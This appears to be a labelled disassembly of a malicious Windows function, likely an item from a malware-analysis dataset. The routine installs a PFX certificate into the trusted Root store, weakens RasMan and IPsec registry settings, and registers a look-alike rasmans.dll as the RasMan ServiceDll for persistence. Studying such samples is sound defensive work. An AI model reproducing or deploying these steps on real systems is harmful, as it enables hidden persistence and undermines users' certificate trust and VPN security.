Function at 0x10006570
Capabilities:
Get file size
Persist via windows service
Read file via mapping
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x278
mov eax, dword [0x10051070]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x22c], 0xffffffff
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x220], 0xffffffff
push 0x10049580
lea eax, [ebp - 0x218]
push eax
call fcn.100075d0
add esp, 8
xor ecx, ecx
mov word [ebp - 0x118], cx
push 0xfe
push 0
lea edx, [ebp - 0x116]
push edx
call fcn.10023d20
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x118]
push ecx
call fcn.100075d0
add esp, 8
push 0
push 0
push 3
push 0
push 1
push 1
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0xffffffff
jne 0x1000663d
jmp 0x10006bfc
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jne 0x1000666d
jmp 0x10006bfc
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
jne 0x1000669b
jmp 0x10006bfc
push 0
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x274], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x270], eax
lea ecx, [ebp - 0x274]
push ecx
call dword [sym.imp.CRYPT32.dll_PFXIsPFXBlob]
test eax, eax
jne 0x100066d7
jmp 0x10006bfc
mov dword [ebp - 0x258], 0x20
mov edx, dword [ebp - 0x258]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x274]
push ecx
call dword [sym.imp.CRYPT32.dll_PFXImportCertStore]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
jne 0x10006715
jmp 0x10006bfc
push str.Root
push 0x24000
push 0
push 0
push 0xa
call dword [sym.imp.CRYPT32.dll_CertOpenStore]
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
jne 0x10006744
jmp 0x10006bfc
mov dword [ebp - 0x230], 0
mov edx, dword [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x240]
push eax
call dword [sym.imp.CRYPT32.dll_CertEnumCertificatesInStore]
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0
je 0x100067e7
push 0
push 1
mov ecx, dword [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x24c]
push edx
call dword [sym.imp.CRYPT32.dll_CertAddCertificateContextToStore]
test eax, eax
jne 0x100067d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80092005
jne 0x100067cc
push 0
push 3
mov eax, dword [ebp - 0x230]
push eax
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.CRYPT32.dll_CertAddCertificateContextToStore]
test eax, eax
jne 0x100067c0
jmp 0x10006bfc
mov dword [ebp - 0x220], 1
jmp 0x100067d6
jmp 0x10006bfc
jmp 0x100067e2
mov dword [ebp - 0x220], 1
jmp 0x1000674e
cmp dword [ebp - 0x220], 1
jne 0x10006bfc
lea edx, [ebp - 0x228]
push edx
push 2
push 0
push 0x10049590
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 2
jne 0x10006861
mov dword [ebp - 0x25c], 0
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x228]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesRasmanParameters
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x10006861
mov dword [ebp - 0x220], 0xffffffff
cmp dword [ebp - 0x220], 1
jne 0x10006bf2
cmp dword [ebp - 0x254], 0
je 0x10006884
cmp dword [ebp - 0x254], 2
jne 0x10006bf2
mov dword [ebp - 0x224], 1
mov dword [ebp - 0x21c], 4
push 4
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.DisableIKENameEkuCheck
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100068ca
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x21c], 4
push 4
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.AllowL2TPWeakCrypto
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10006910
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x21c], 4
push 4
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.AllowPPTPWeakCrypto
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10006956
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0x23c], 0x100496e0
mov dword [ebp - 0x21c], 7
mov edx, dword [ebp - 0x23c]
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x234]
add eax, 2
mov dword [ebp - 0x260], eax
mov ecx, dword [ebp - 0x234]
mov dx, word [ecx]
mov word [ebp - 0x24e], dx
add dword [ebp - 0x234], 2
cmp word [ebp - 0x24e], 0
jne 0x10006985
mov eax, dword [ebp - 0x234]
sub eax, dword [ebp - 0x260]
sar eax, 1
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0x264]
shl ecx, 1
push ecx
mov edx, dword [ebp - 0x23c]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.CustomDLL
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100069f3
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x21c], 4
push 4
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.KeepRasConnections
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10006a39
mov dword [ebp - 0x220], 0xffffffff
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 0
mov dword [ebp - 0x21c], 7
push 0x12
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.Medias
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10006aba
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0x224], 1
mov dword [ebp - 0x21c], 4
push 4
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.prohibitipsec
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10006b00
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0x23c], str._SystemRoot_System32_rasmans.dll
mov dword [ebp - 0x21c], 2
mov edx, dword [ebp - 0x23c]
mov dword [ebp - 0x238], edx
mov eax, dword [ebp - 0x238]
add eax, 2
mov dword [ebp - 0x268], eax
mov ecx, dword [ebp - 0x238]
mov dx, word [ecx]
mov word [ebp - 0x250], dx
add dword [ebp - 0x238], 2
cmp word [ebp - 0x250], 0
jne 0x10006b2f
mov eax, dword [ebp - 0x238]
sub eax, dword [ebp - 0x268]
sar eax, 1
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0x26c]
shl ecx, 1
push ecx
mov edx, dword [ebp - 0x23c]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.ServiceDll
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10006b9d
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0x224], 1
mov dword [ebp - 0x21c], 4
push 4
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x21c]
push eax
push 0
push str.ServiceDllUnloadOnStop
mov ecx, dword [ebp - 0x228]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10006be3
mov dword [ebp - 0x220], 0xffffffff
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10006bfc
mov dword [ebp - 0x220], 0xffffffff
cmp dword [ebp - 0x240], 0
je 0x10006c14
push 1
mov eax, dword [ebp - 0x240]
push eax
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
cmp dword [ebp - 0x244], 0
je 0x10006c2a
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
cmp dword [ebp - 0x248], 0
je 0x10006c40
mov edx, dword [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x22c], 0xffffffff
je 0x10006c56
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000afc9
mov esp, ebp
pop ebp
ret 4